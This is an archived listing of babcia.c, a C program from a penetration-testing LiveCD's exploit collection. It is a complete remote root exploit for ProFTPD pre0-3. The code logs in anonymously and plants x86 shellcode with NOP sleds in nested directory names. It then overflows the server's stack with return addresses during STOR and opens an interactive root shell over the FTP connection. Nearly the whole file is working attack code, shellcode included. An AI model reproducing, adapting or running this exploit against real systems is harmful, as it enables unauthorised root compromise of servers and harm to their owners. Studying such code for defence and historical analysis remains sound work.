home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / proftpd / babcia.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  15KB  |  631 lines

  1. /*
  2. * babcia padlina ltd. (poland, 17/08/99)
  3. *
  4. * your ultimate proftpd pre0-3 exploiting toolkit
  5. *
  6. * based on:
  7. *               - adm-wuftpd by duke
  8. *               - kombajn do czere╢ni by Lam3rZ (thx for shellcode!)
  9. *
  10. * thx and greetz.
  11. */
  12.  
  13. #include <stdio.h>
  14. #include <sys/socket.h>
  15. #include <netinet/in.h>
  16. #include <arpa/inet.h>
  17. #include <netdb.h>
  18. #include <unistd.h>
  19. #include <string.h>
  20. #include <stdlib.h>
  21.  
  22. #define MAXARGLEN       64
  23. #define MAXLINE         1024
  24. #define ANONL           "ftp"
  25. #define ANONP           "mozilla@"
  26. #define INCOM           "/incoming/"
  27. #define FTPPORT         21
  28. #define RET             0xbffff550
  29. #define NOP             0x90
  30. #define ALIGN           0
  31. #define CONTENT         "y0u ar3 n0w 0wn3d!"
  32. #define GREEN           "\033[1;32m"
  33. #define RED             "\033[1;31m"
  34. #define NORM            "\033[1;39m"
  35. #define BOLD            "\E[1m"
  36. #define UNBOLD          "\E[m"
  37.  
  38. char *av0;
  39. struct sockaddr_in cli;
  40. char sendbuf[MAXLINE];
  41.  
  42. #ifdef DEBUG
  43. FILE *phile;
  44. #endif
  45.  
  46. long getip(name)
  47. char *name;
  48. {
  49.         struct hostent *hp;
  50.         long ip;
  51.         extern int h_errno;
  52.  
  53.         if ((ip=inet_addr(name))==-1)
  54.         {
  55.                 if ((hp=gethostbyname(name))==NULL)
  56.                 {
  57.                         fprintf(stderr, "gethostbyname(): %s\n", strerror(h_errno));
  58.                         exit(1);
  59.                 }
  60.                 memcpy(&ip, (hp->h_addr), 4);
  61.         }
  62.         return ip;
  63. }
  64.  
  65. int readline(sockfd, buf)
  66. int sockfd;
  67. char *buf;
  68. {
  69.         int done = 0;
  70.         char *n = NULL, *p = NULL, localbuff[MAXLINE];
  71.  
  72.         while (!done)
  73.         {
  74.                 if (!p)
  75.                 {
  76.  
  77.                         int count;
  78.  
  79.                         bzero(localbuff, MAXLINE);
  80.  
  81.                         if ((count = read(sockfd, localbuff, MAXLINE)) < 0)
  82.                         {
  83.                                 (void)fprintf(stderr, "IO error.\n");
  84.                                 return -1;
  85.                         }
  86. //
  87. #ifdef DEBUG
  88.                         fprintf(phile, "Received: %s", localbuff);
  89. #endif
  90. //
  91.  
  92.                         localbuff[count] = 0;
  93.                         p = localbuff;
  94.                 }
  95.  
  96.                 n=(char *)strchr(p, '\r');
  97.  
  98.                 if (n)
  99.                 {
  100.                         *n = 0;
  101.                         n += 2;
  102.                         done = 1;
  103.                 }
  104.  
  105.                 bzero(buf, MAXLINE);
  106.  
  107.                 strncat(buf, p, MAXLINE);
  108.                 p = n;
  109.         }
  110.         return 0;
  111. }
  112.  
  113. int eatthis(sockfd, line)
  114. int sockfd;
  115. char *line;
  116. {
  117.         do
  118.         {
  119.                 bzero(line, MAXLINE);
  120.                 if (readline(sockfd, line) < 0) return -1;
  121.         } while (line[3] != ' ');
  122.  
  123.         return (int)(line[0] - '0');
  124. }
  125.  
  126. int connecttoftp(host)
  127. char *host;
  128. {
  129.         int sockfd;
  130.  
  131.         bzero(&cli, sizeof(cli));
  132.         cli.sin_family = AF_INET;
  133.         cli.sin_addr.s_addr=getip(host);
  134.         cli.sin_port = htons(FTPPORT);
  135.  
  136. //
  137. #ifdef DEBUG
  138.         fprintf(phile, "Connecting to %s.\n", host);
  139. #endif
  140. //
  141.  
  142.         if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  143.         {
  144.                 perror("socket");
  145.                 return -1;
  146.         }
  147.  
  148.         if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
  149.         {
  150.                 perror("connect");
  151.                 return -1;
  152.         }
  153.  
  154. //
  155. #ifdef DEBUG
  156.         fprintf(phile, "Connected to %s.\n", host);
  157. #endif
  158. //
  159.  
  160.         return sockfd;
  161. }
  162.  
  163. int logintoftp(sockfd, login, passwd)
  164. int sockfd;
  165. char *login, *passwd;
  166. {
  167.         int result;
  168.         char errbuf[MAXLINE];
  169.  
  170.         result = eatthis(sockfd, errbuf);
  171.  
  172.         if (result < 0) return -1;
  173.         if (result > 2)
  174.         {
  175.                 fprintf(stderr, "%s\n", errbuf);
  176.                 return -1;
  177.         }
  178.  
  179.         bzero(sendbuf, MAXLINE);
  180.         sprintf(sendbuf, "USER %s\r\n", login);
  181.         write(sockfd, sendbuf, strlen(sendbuf));
  182.  
  183. //
  184. #ifdef DEBUG
  185.         fprintf(phile, "Sending: %s", sendbuf);
  186. #endif
  187. //
  188.  
  189.         result = eatthis(sockfd, errbuf);
  190.  
  191.         if (result < 0) return -1;
  192.         if (result > 3)
  193.         {
  194.                 fprintf(stderr, "%s\n", errbuf);
  195.                 return -1;
  196.         }
  197.  
  198.         bzero(sendbuf, MAXLINE);
  199.         sprintf(sendbuf, "PASS %s\r\n", passwd);
  200.         write(sockfd, sendbuf, strlen(sendbuf));
  201.  
  202. //
  203. #ifdef DEBUG
  204.         fprintf(phile, "Sending: %s", sendbuf);
  205. #endif
  206. //
  207.  
  208.         result = eatthis(sockfd, errbuf);
  209.  
  210.         if (result < 0) return -1;
  211.         if (result > 2)
  212.         {
  213.                 fprintf(stderr, "%s\n", errbuf);
  214.                 return -1;
  215.         }
  216.  
  217.         return 0;
  218. }
  219.  
  220. int makedir(dir, sockfd)
  221. char *dir;
  222. int sockfd;
  223. {
  224.         char buf[MAXLINE], errbuf[MAXLINE], *p;
  225.         int n, result;
  226.  
  227.         bzero(buf, MAXLINE);
  228.         p = buf;
  229.         for(n=0;n < strlen(dir);n++)
  230.         {
  231.  
  232.                 if(dir[n]=='\xff')
  233.                 {
  234.                         *p='\xff';
  235.                         p++;
  236.                 }
  237.                 *p=dir[n];
  238.                 p++;
  239.         }
  240.  
  241.         bzero(sendbuf, MAXLINE);
  242.         sprintf(sendbuf, "MKD %s\r\n", buf);
  243.         write(sockfd, sendbuf, strlen(sendbuf));
  244.  
  245. //
  246. #ifdef DEBUG
  247.         fprintf(phile, "Sending: %s", sendbuf);
  248. #endif
  249. //
  250.  
  251.         result = eatthis(sockfd, errbuf);
  252.  
  253.         if (result < 0) return -1;
  254.         if (result > 2)
  255.         {
  256.                 fprintf(stderr, "%s\n", errbuf);
  257.                 return -1;
  258.         }
  259.  
  260.         bzero(sendbuf, MAXLINE);
  261.         sprintf(sendbuf, "CWD %s\r\n", buf);
  262.         write(sockfd, sendbuf, strlen(sendbuf));
  263.  
  264. //
  265. #ifdef DEBUG
  266.         fprintf(phile, "Sending: %s", sendbuf);
  267. #endif
  268. //
  269.  
  270.         result = eatthis(sockfd, errbuf);
  271.  
  272.         if (result < 0) return -1;
  273.         if (result > 2)
  274.         {
  275.                 fprintf(stderr, "%s\n", errbuf);
  276.                 return -1;
  277.         }
  278.  
  279.         return 0;
  280. }
  281.  
  282. int mkd(sockfd, cwd)
  283. int sockfd;
  284. char *cwd;
  285. {
  286.  
  287.         char shellcode[]=
  288.                 "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
  289.                 "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
  290.                 "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
  291.                 "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
  292.                 "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
  293.                 "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
  294.                 "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
  295.                 "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
  296.                 "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
  297.                 "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
  298.                 "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67\x00";
  299.  
  300.         char buf1[MAXLINE], tmp[MAXLINE], *p, *q;
  301.  
  302.         if (makedir(cwd, sockfd) < 0) return -1;
  303.  
  304.         bzero(buf1, MAXLINE);
  305.  
  306.         memset(buf1, 0x90, 756);
  307.         memcpy(buf1, cwd, strlen(cwd));
  308.  
  309.         p = &buf1[strlen(cwd)];
  310.         q = &buf1[755];
  311.  
  312.         bzero(tmp, MAXLINE);
  313.  
  314.         while(p <= q)
  315.         {
  316.                 strncpy(tmp, p, 100);
  317.                 if (makedir(tmp, sockfd) < 0) return -1;
  318.                 p+=100;
  319.         }
  320.  
  321.  
  322.         if (makedir(shellcode, sockfd) < 0) return -1;
  323.         return 0;
  324. }
  325.  
  326. int put(sockfd, offset, align)
  327. int sockfd, offset, align;
  328. {
  329.         char buf2[MAXLINE], sendbuf[MAXLINE], tmp[MAXLINE], buf[MAXLINE], hostname[MAXLINE], errbuf[MAXLINE], *p, *q;
  330.         int n, sock, nsock, port, i;
  331.         struct in_addr in;
  332.         int octet_in[4], result;
  333.         char *oct;
  334.         struct sockaddr_in yo;
  335.  
  336.         bzero(buf2, MAXLINE);
  337.         memset(buf2, NOP, 100);
  338.  
  339.         for(i=4-ALIGN-align; i<96; i+=4)
  340.                 *(long *)&buf2[i] = RET + offset;
  341.  
  342.         p = &buf2[0];
  343.         q = &buf2[99];
  344.  
  345.         bzero(tmp, MAXLINE);
  346.         strncpy(tmp, p, strlen(buf2));
  347.  
  348.         port=getpid()+1024;
  349.  
  350.         bzero(&yo, sizeof(yo));
  351.         yo.sin_family = AF_INET;
  352.         yo.sin_port=htons(port);
  353.  
  354.         bzero(buf, MAXLINE);
  355.         p=buf;
  356.         for(n=0;n<strlen(tmp);n++)
  357.         {
  358.                 if(tmp[n]=='\xff')
  359.                 {
  360.                         *p='\xff';
  361.                         p++;
  362.                 }
  363.                 *p=tmp[n];
  364.                 p++;
  365.         }
  366.  
  367.         gethostname(hostname, MAXLINE);
  368.         in.s_addr = getip(hostname);
  369.  
  370.         oct=(char *)strtok(inet_ntoa(in),".");
  371.         octet_in[0]=atoi(oct);
  372.         oct=(char *)strtok(NULL,".");
  373.         octet_in[1]=atoi(oct);
  374.         oct=(char *)strtok(NULL,".");
  375.         octet_in[2]=atoi(oct);
  376.         oct=(char *)strtok(NULL,".");
  377.         octet_in[3]=atoi(oct);
  378.  
  379.         bzero(sendbuf, MAXLINE);
  380.         sprintf(sendbuf, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256);
  381.         write(sockfd, sendbuf, strlen(sendbuf));
  382.  
  383. //
  384. #ifdef DEBUG
  385.         fprintf(phile, "Sending: %s", sendbuf);
  386. #endif
  387. //
  388.  
  389.         result = eatthis(sockfd, errbuf);
  390.  
  391.         if (result < 0) return -1;
  392.         if (result > 2)
  393.         {
  394.                 fprintf(stderr, "%s\n", errbuf);
  395.                 return -1;
  396.         }
  397.  
  398.         if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0) {
  399.                 perror("socket()");
  400.                 return -1;
  401.         }
  402.  
  403.         if ((bind(sock, (struct sockaddr *) &yo, sizeof(struct sockaddr))) < 0)
  404.         {
  405.                 perror("bind()");
  406.                 close(sock);
  407.                 return -1;
  408.         }
  409.  
  410.         if (listen (sock,10) < 0)
  411.         {
  412.                 perror("listen()");
  413.                 close(sock);
  414.                 return -1;
  415.         }
  416.  
  417.         bzero(sendbuf, MAXLINE);
  418.         sprintf(sendbuf, "STOR %s\r\n", buf);
  419.         write(sockfd, sendbuf, strlen(sendbuf));
  420.  
  421. //
  422. #ifdef DEBUG
  423.         fprintf(phile, "Sending: %s", sendbuf);
  424. #endif
  425. //
  426.  
  427.         result = eatthis(sockfd, errbuf);
  428.  
  429.         if (result < 0) return -1;
  430.         if (result > 2)
  431.         {
  432.                 fprintf(stderr, "%s\n", errbuf);
  433.                 return -1;
  434.         }
  435.  
  436.         if ((nsock=accept(sock,(struct sockaddr *)&cli,(int *)sizeof(struct sockaddr))) < 0)
  437.         {
  438.                 perror("accept()");
  439.                 close(sock);
  440.                 return -1;
  441.         }
  442.  
  443.         write(nsock, CONTENT, sizeof(CONTENT));
  444.  
  445. //
  446. #ifdef DEBUG
  447.         fprintf(phile, "Sending: %s", CONTENT);
  448. #endif
  449. //
  450.  
  451.         close(sock);
  452.         close(nsock);
  453.  
  454.         return 0;
  455. }
  456.  
  457. int sh(sockfd)
  458. int sockfd;
  459. {
  460.         char buf[MAXLINE];
  461.         int c;
  462.         fd_set rf, drugi;
  463.  
  464.         FD_ZERO(&rf);
  465.         FD_SET(0, &rf);
  466.         FD_SET(sockfd, &rf);
  467.  
  468.         while (1)
  469.         {
  470.                 bzero(buf, MAXLINE);
  471.                 memcpy (&drugi, &rf, sizeof(rf));
  472.                 select(sockfd+1, &drugi, NULL, NULL, NULL);
  473.                 if (FD_ISSET(0, &drugi))
  474.                 {
  475.                         c = read(0, buf, MAXLINE);
  476.                         send(sockfd, buf, c, 0x4);
  477.                 }
  478.  
  479.                 if (FD_ISSET(sockfd, &drugi))
  480.                 {
  481.                         c = read(sockfd, buf, MAXLINE);
  482.                         if (c<0) return 0;
  483.                         write(1,buf,c);
  484.                 }
  485.         }
  486. }
  487.  
  488. void usage(void)
  489. {
  490.         (void)fprintf(stderr, "usage: %s [-l login -p passwd] [-d dir] [-o offset] [-a align] host\n", av0);
  491.         exit(1);
  492. }
  493.  
  494. int main(argc, argv)
  495. int argc;
  496. char **argv;
  497. {
  498.         extern int optind, opterr;
  499.         extern char *optarg;
  500.         int ch, aflag, oflag, lflag, pflag, dflag, offset, align, sockfd;
  501.         char login[MAXARGLEN], passwd[MAXARGLEN], cwd[MAXLINE+1];
  502.  
  503.         (void)fprintf(stderr, "\n%sbabcia padlina ltd. proudly presents:\nyour ultimate proftpd pre0-3 exploiting toolkit%s%s\n\n", GREEN, NORM, UNBOLD);
  504.  
  505.         if (strchr(argv[0], '/'))
  506.                 av0 = strrchr(argv[0], '/') + 1;
  507.         else
  508.                 av0 = argv[0];
  509.  
  510.         opterr = aflag = oflag = lflag = pflag = dflag = 0;
  511.  
  512.         while ((ch = getopt(argc, argv, "l:p:d:o:a:")) != -1)
  513.                 switch((char)ch)
  514.                 {
  515.                         case 'l':
  516.                                 lflag = 1;
  517.                                 strncpy(login, optarg, MAXARGLEN);
  518.                                 break;
  519.  
  520.                         case 'p':
  521.                                 pflag = 1;
  522.                                 strncpy(passwd, optarg, MAXARGLEN);
  523.                                 break;
  524.  
  525.                         case 'd':
  526.                                 dflag = 1;
  527.                                 strncpy(cwd, optarg, MAXARGLEN);
  528.                                 break;
  529.  
  530.                         case 'o':
  531.                                 oflag = 1;
  532.                                 offset = atoi(optarg);
  533.                                 break;
  534.  
  535.                         case 'a':
  536.                                 aflag = 1;
  537.                                 align = atoi(optarg);
  538.                                 break;
  539.  
  540.                         case '?':
  541.                         default:
  542.                                 usage();
  543.                 }
  544.  
  545.         argc -= optind;
  546.         argv += optind;
  547.  
  548.         if (argc != 1) usage();
  549.         if (!lflag) strncpy(login, ANONL, MAXARGLEN);
  550.         if (!pflag) strncpy(passwd, ANONP, MAXARGLEN);
  551.         if (!dflag) sprintf(cwd, "%s%d", INCOM, getpid());
  552.         if (!oflag) offset = 0;
  553.         if (!aflag) align = 0;
  554.  
  555. //
  556. #ifdef DEBUG
  557.         phile = fopen("debug", "w");
  558. #endif
  559. //
  560.  
  561.         if ((sockfd = connecttoftp(*argv)) < 0)
  562.         {
  563.                 (void)fprintf(stderr, "Connection to %s failed.\n", *argv);
  564. //
  565. #ifdef DEBUG
  566.                 fclose(phile);
  567. #endif
  568. //
  569.                 exit(1);
  570.         }
  571.  
  572.         (void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);
  573.  
  574.         if (logintoftp(sockfd, login, passwd) < 0)
  575.         {
  576.                 (void)fprintf(stderr, "Logging in to %s (%s/%s) failed.\n", *argv, login, passwd);
  577. //
  578. #ifdef DEBUG
  579.                 fclose(phile);
  580. #endif
  581. //
  582.                 exit(1);
  583.         }
  584.  
  585.         (void)fprintf(stderr, "Logged in as %s/%s. Preparing shellcode in %s\n", login, passwd, cwd);
  586.  
  587.         if (mkd(sockfd, cwd) < 0)
  588.         {
  589.                 (void)fprintf(stderr, "Unknown error while making directories.\n");
  590. //
  591. #ifdef DEBUG
  592.                 fclose(phile);
  593. #endif
  594. //
  595.                 exit(1);
  596.         }
  597.  
  598.         (void)fprintf(stderr, "RET: %x, align: %i. Smashing stack.\n", RET + offset, align);
  599.  
  600.         if (put(sockfd, offset, align) < 0)
  601.         {
  602.                 (void)fprintf(stderr, "Unknown error while sending RETs.\n");
  603. //
  604. #ifdef DEBUG
  605.                 fclose(phile);
  606. #endif
  607. //
  608.                 exit(1);
  609.         }
  610.  
  611.         (void)fprintf(stderr, "Y0u are n0w r00t.\n");
  612.  
  613.         if (sh(sockfd) < 0)
  614.         {
  615.                 (void)fprintf(stderr, "Connection unexpectly terminated.\n");
  616. //
  617. #ifdef DEBUG
  618.                 fclose(phile);
  619. #endif
  620. //
  621.                 close(sockfd);
  622.                 exit(1);
  623.         }
  624. //
  625. #ifdef DEBUG
  626.         fclose(phile);
  627. #endif
  628. //
  629.         exit(0);
  630. }
  631.